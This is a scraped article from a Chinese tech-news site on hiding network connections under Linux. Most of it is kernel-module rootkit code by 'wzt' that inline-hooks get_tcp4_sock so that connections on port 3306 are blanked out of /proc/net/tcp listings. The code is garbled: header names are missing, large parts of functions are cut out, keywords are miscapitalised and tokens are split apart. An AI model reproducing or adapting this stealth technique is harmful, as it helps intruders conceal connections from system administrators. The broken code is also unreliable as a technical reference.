Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to hide the Network connection under Linux

2025-02-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >

Share

Shulou(Shulou.com)06/01 Report--

This article introduces the knowledge of "how to hide the network connection under Linux". Many people will encounter such a dilemma in the operation of the actual case. then let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Inline hook directly live get_tcp4_sock this function on the line, but need to re-implement the function of get_tcp4_sock, in the next filter. It is relatively simple. The code is as follows:

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

MODULE_LICENSE ("GPL")

MODULE_AUTHOR ("wzt")

_ _ U32 wnps_in_aton (const char * str)

{

Unsigned long l

Unsigned int val

Int i

L = 0

For (I = 0; I)

< 4; i++) { l rcv_saddr; __u16 destp = ntohs(inet->

Dport)

_ U16 srcp = ntohs (inet- > sport)

Printk ("!! in new_get_tcp4_sock.\ n")

If (icsk- > icsk_pending = = ICSK_TIME_RETRANS) {

Timer_active = 1

Timer_expires = icsk- > icsk_timeout

} else if (icsk- > icsk_pending = = ICSK_TIME_PROBE0) {

Timer_active = 4

Timer_expires = icsk- > icsk_timeout

} else if (& sk- > sk_timer) {

Timer_active = 2

Timer_expires = sk- > sk_timer.expires

} else {

Timer_active = 0

Timer_expires = jiffies

}

/ *

If (src = = wnps_in_aton ("127.0.0.1")) {

Printk ("got 127.0.0.1")

Return

}

, /

If (srcp = = 3306 | | destp = = 3306) {

Printk ("got 3306!\ n")

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

0, 0, 0, 0, 0, 0

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

Else {

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

I, src, srcp, dest, destp, sk- > sk_state

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

}

This is the end of the content of "how to hide the Network connection under Linux". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Servers

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report